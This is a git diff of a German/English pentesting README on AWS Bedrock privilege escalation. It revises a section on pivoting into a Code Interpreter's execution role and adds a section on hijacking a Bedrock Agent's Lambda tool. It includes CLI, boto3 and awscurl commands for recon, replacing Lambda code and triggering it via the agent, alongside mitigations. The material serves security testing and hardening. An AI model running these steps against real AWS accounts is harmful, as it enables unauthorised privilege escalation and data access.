diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index 0f4e37d5c..d28442b9b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,32 +6,32 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -AgentCore Code Interpreter ist eine verwaltete Ausführungsumgebung. **Custom Code Interpreters** können mit einer **`executionRoleArn`** konfiguriert werden, die „Berechtigungen für den Code Interpreter bereitstellt, um auf AWS-Services zuzugreifen“. +AgentCore Code Interpreter ist eine verwaltete Ausführungsumgebung. **Custom Code Interpreters** können mit einem **`executionRoleArn`** konfiguriert werden, der „Berechtigungen bereitstellt, damit der code interpreter auf AWS services zugreifen kann“. -Wenn ein **lower-privileged IAM principal** eine Code Interpreter-Session **starten + aufrufen** kann, die mit einer **privilegierteren execution role** konfiguriert ist, kann der Anrufer effektiv **in die Berechtigungen der execution role pivoten** (lateral movement / privilege escalation, je nach Umfang der Rolle). +Wenn ein **niedriger privilegierter IAM principal** eine Code Interpreter-Session **starten + aufrufen** kann, die mit einer **höher privilegierten execution role** konfiguriert ist, kann der Aufrufer effektiv in die Berechtigungen der execution role **pivotieren** (lateral movement / privilege escalation, abhängig vom Umfang der Rolle). > [!NOTE] -> Dies ist typischerweise ein **misconfiguration / excessive permissions**-Problem (z. B. weitreichende Berechtigungen für die interpreter execution role und/oder breite Invoke-Rechte). -> AWS warnt ausdrücklich davor, Privilege Escalation zu vermeiden, indem execution roles **gleich oder weniger** Berechtigungen haben als die Identitäten, die zum Invoke berechtigt sind. +> Dies ist typischerweise ein **misconfiguration / excessive permissions**-Problem (zu breite Berechtigungen für die interpreter execution role und/oder zu weit gefasster invoke access). +> AWS warnt ausdrücklich davor, privilege escalation zu vermeiden, indem sichergestellt wird, dass execution roles **gleiche oder weniger** Privilegien haben als die Identitäten, die sie aufrufen dürfen. #### Preconditions (common misconfiguration) -- Ein **custom code interpreter** existiert mit einer überprivilegierten **execution role** (z. B. Zugriff auf sensitive S3/Secrets/SSM oder IAM-admin-ähnliche Fähigkeiten). +- Es existiert ein **custom code interpreter** mit einer überprivilegierten **execution role** (z. B. Zugriff auf sensible S3/Secrets/SSM oder IAM-admin-like capabilities). - Ein Benutzer (developer/auditor/CI identity) hat Berechtigungen für: - - Sessions starten: `bedrock-agentcore:StartCodeInterpreterSession` - - Tools aufrufen: `bedrock-agentcore:InvokeCodeInterpreter` -- (Optional) Der Benutzer kann auch Interpreter erstellen: `bedrock-agentcore:CreateCodeInterpreter` (ermöglicht ihnen, je nach org guardrails, einen neuen Interpreter zu erstellen, der mit einer execution role konfiguriert ist). +- Sessions starten: `bedrock-agentcore:StartCodeInterpreterSession` +- Tools aufrufen: `bedrock-agentcore:InvokeCodeInterpreter` +- (Optional) Der Benutzer kann auch Interpreter erstellen: `bedrock-agentcore:CreateCodeInterpreter` (erlaubt das Erstellen eines neuen Interpreters, der mit einer execution role konfiguriert ist, abhängig von den org guardrails). #### Recon (identify custom interpreters and execution role usage) -Liste Interpreter (control-plane) und untersuche ihre Konfiguration: +List interpreters (control-plane) and inspect their configuration: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id -```` -> Der create-code-interpreter-Befehl unterstützt `--execution-role-arn`, der festlegt, welche AWS-Berechtigungen der Interpreter haben wird. +``` +> Der Befehl create-code-interpreter unterstützt `--execution-role-arn`, der festlegt, welche AWS-Berechtigungen der Interpreter haben wird. -#### Schritt 1 - Sitzung starten (dies gibt eine `sessionId` zurück, keine interaktive Shell) +#### Schritt 1 - Starte eine Session (dies gibt eine `sessionId` zurück, keine interaktive Shell) ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \ echo "SessionId: $SESSION_ID" ``` -#### Schritt 2 - Codeausführung aufrufen (Boto3 oder signiertes HTTPS) +#### Schritt 2 - Codeausführung ausführen (Boto3 oder signiertes HTTPS) -Es gibt **keine interaktive Python-Shell** durch `start-code-interpreter-session`. Die Ausführung erfolgt über **InvokeCodeInterpreter**. +Es gibt **keine interaktive python shell** von `start-code-interpreter-session`. Die Ausführung erfolgt über **InvokeCodeInterpreter**. -**Option A - Boto3-Beispiel (Python ausführen + Identität überprüfen):** +**Option A - Boto3-Beispiel (Python ausführen + Identität verifizieren):** ```python import boto3 @@ -68,9 +68,9 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -Wenn der Interpreter mit einer Ausführungsrolle konfiguriert ist, sollte die Ausgabe von `sts:GetCallerIdentity()` die Identität dieser Rolle widerspiegeln (nicht den low-priv caller) und damit den Pivot demonstrieren. +Wenn der Interpreter mit einer Ausführungsrolle konfiguriert ist, sollte die Ausgabe von `sts:GetCallerIdentity()` die Identität dieser Rolle widerspiegeln (nicht die des Low-Priv-Aufrufers), was den Pivot demonstriert. -**Option B - Signierter HTTPS-Aufruf (awscurl):** +**Option B - Signed HTTPS call (awscurl):** ```bash awscurl -X POST \ "https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ @@ -87,20 +87,88 @@ awscurl -X POST \ } }' ``` -#### Auswirkungen +#### Impact -* **Lateral movement** in jeglichen AWS-Zugriff, den die interpreter execution role hat. -* **Privilege escalation** wenn die interpreter execution role mehr Berechtigungen hat als der Aufrufer. -* Schwerer zu erkennen, wenn CloudTrail data events für interpreter invocations nicht aktiviert sind (Aufrufe werden je nach Konfiguration möglicherweise nicht standardmäßig protokolliert). +* **Lateral movement** in whatever AWS access the interpreter execution role has. +* **Privilege escalation** if the interpreter execution role is more privileged than the caller. +* Schwerere Erkennung, wenn CloudTrail data events für interpreter invocations nicht aktiviert sind (Invocations werden je nach Konfiguration möglicherweise nicht standardmäßig geloggt). -#### Gegenmaßnahmen / Härtung +#### Mitigations / Hardening -* **Least privilege** für die interpreter `executionRoleArn` (behandle diese wie Lambda execution roles / CI roles). +* **Least privilege** auf dem interpreter `executionRoleArn` (behandle es wie Lambda execution roles / CI roles). * **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) und wer Sessions starten kann. -* Verwende **SCPs**, um InvokeCodeInterpreter zu verweigern, außer für genehmigte agent runtime roles (Durchsetzung auf Organisationsebene kann notwendig sein). -* Aktiviere geeignete **CloudTrail data events** für AgentCore, wo zutreffend; alarmiere bei unerwarteten Aufrufen und Session-Erstellungen. +* Verwende **SCPs**, um InvokeCodeInterpreter zu verweigern, außer für genehmigte agent runtime roles (org-level enforcement kann notwendig sein). +* Aktiviere passende **CloudTrail data events** für AgentCore, wo anwendbar; alarmiere bei unerwarteten invocations und session creation. -## Referenzen +## Amazon Bedrock Agents + +### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda + +Bedrock Agents können **Lambda-backed action groups** als tools (external execution) verwenden. Wenn ein principal den Code einer von einem agent verwendeten Lambda function **ändern** kann und anschließend den **agent invokieren** kann, kann er attacker-controlled code unter der **Lambda execution role** ausführen. + +> [!NOTE] +> Dies ist ein **cross-service trust abuse** (Bedrock → Lambda), keine vulnerability. Der attacker kann die Lambda möglicherweise nicht direkt invokieren, aber sie trotzdem über den agent triggern. + +#### Preconditions (common misconfiguration) + +- Ein Bedrock Agent existiert mit einer **action group, die von einer Lambda function unterstützt wird** +- Der attacker hat: +- `lambda:UpdateFunctionCode` +- `bedrock:InvokeAgent` +- Die Lambda execution role hat breitere permissions als der attacker +- Der attacker kann die vom agent verwendete Lambda identifizieren + +#### Recon + +Enumerate agent action groups: +```bash +aws bedrock-agent list-agents +aws bedrock-agent get-agent --agent-id +aws bedrock-agent list-agent-action-groups --agent-id --agent-version DRAFT +``` +Lambda inspizieren: +```bash +aws lambda get-function --function-name +``` +#### Exploitation + +Lambda-Code ersetzen: +```bash +zip payload.zip lambda_function.py + +aws lambda update-function-code \ +--function-name \ +--zip-file fileb://payload.zip +``` +Beispiel-Payload: +```python +import boto3 + +def lambda_handler(event, context): +return boto3.client("sts").get_caller_identity() +``` +Via Agent auslösen: +```bash +aws bedrock-agent-runtime invoke-agent \ +--agent-id \ +--agent-alias-id \ +--session-id test \ +--input-text "trigger tool" +``` +#### Impact + +* **Privilege escalation** into Lambda execution role +* **Data exfiltration** from AWS services +* **Cross-service abuse** via trusted agent execution + +#### Mitigations + +* **Restrict** `lambda:UpdateFunctionCode` +* Use **least-privilege** Lambda roles +* **Monitor** Lambda code changes +* **Audit** Bedrock agent tool usage + +## References - [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/) - [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/) @@ -108,6 +176,7 @@ awscurl -X POST \ - [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html) - [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html) - [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html) +- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors) {{#include ../../../../banners/hacktricks-training.md}}